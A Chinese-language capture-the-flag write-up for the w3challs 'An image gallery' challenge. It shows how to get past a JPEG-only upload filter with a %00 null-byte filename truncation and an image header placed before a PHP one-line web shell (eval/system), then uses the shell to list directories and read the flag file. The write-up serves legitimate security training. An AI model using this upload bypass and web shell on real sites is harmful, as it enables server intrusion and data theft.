w3challs web-An image gallery
该题有两个解题关键:
- %00截断
- 上传一句话木马时注意保留图片头
打开题目页面,是一个图片上传网站,有这样一句提示:
You can upload pictures with the upload formular. Pictures are then stored in the suggestions directory, waiting for the administration's approval.
For security reasons, only jpeg files are accepted.
成功上传图片后,可通过/suggestion/图片
进行访问。那么自然而然的想法是上传php文件,然后访问使其执行。
然而上传php文件的时候会发现对上传的文件做了限制:
- 文件后缀名
content-type
字段
文件后缀名检测的绕过,在此题中用到的是%00截断
。如果简单的将文件后缀名改为.jpg
,则代码是无法被解析执行的,所以如何在上传时作为jpg
绕过检测,而在解析时作为php
被执行?
这里利用Burpsuite,将filename
字段的文件名改为test.php .jpg
,注意php
后要跟一空格,这样就可以绕过后缀名检测:
Content-Disposition: form-data; name="upload_file"; filename="test.php .jpg"
Content-Type: image/jpeg
然后在Hex模式中将这一空格的%20
改为%00
,这样在解析的时候%00
后面的会被截断,上传的文件实际会以php
被解析执行。
<h1>Upload</h1>
<h2>Upload of pictures</h2>
<h3>December 2042</h3>
<p>
<div class="succeed">The file <em>test.php</em> has been uploaded correctly..</div><br /><br /></p>
需要注意的是,文件需保留图片头,否则也会上传失败。构造文件内容如下:
...(图片头部)
<?php @eval('system("ls -la ../");')?>
然后访问:
http://gallery.hax.w3challs.com/suggestions/test.php
会输出suggestions
父目录下的文件结构:
total 44
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 .
drwxr-xr-x 1 root root 4096 Nov 19 15:30 ..
-r-xr-xr-- 1 root root 1532 Nov 19 15:21 basic.css
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 css
dr-xr-xr-x 3 root root 4096 Nov 19 15:21 images
-r-xr-xr-- 1 root root 3100 Nov 19 15:21 index.php
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 js
dr-xr-xr-x 2 root root 4096 Nov 19 15:24 lang
-r-xr-xr-- 1 root root 125 Nov 19 15:21 lang.php
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 omg_secret_wut
drwxrwx-wx 2 root xfs 4096 Feb 14 01:27 suggestions
看到一个文件夹omg_secret_wut
比较可疑,于是修改一句话为:
<?php @eval('system("ls -la ../omg_secret_wut");')?>
输出目录为:
total 12
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 .
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 ..
-rw-r--r-- 1 root root 49 Nov 19 15:21 flag
发现flag文件,打印flag内容即可:
<?php @eval('system("cat ../omg_secret_wut/flag");')?>
输出flag为:
Well done! Flag is W3C{W3lc0m3_t0_y0u_w3b_sh3ll}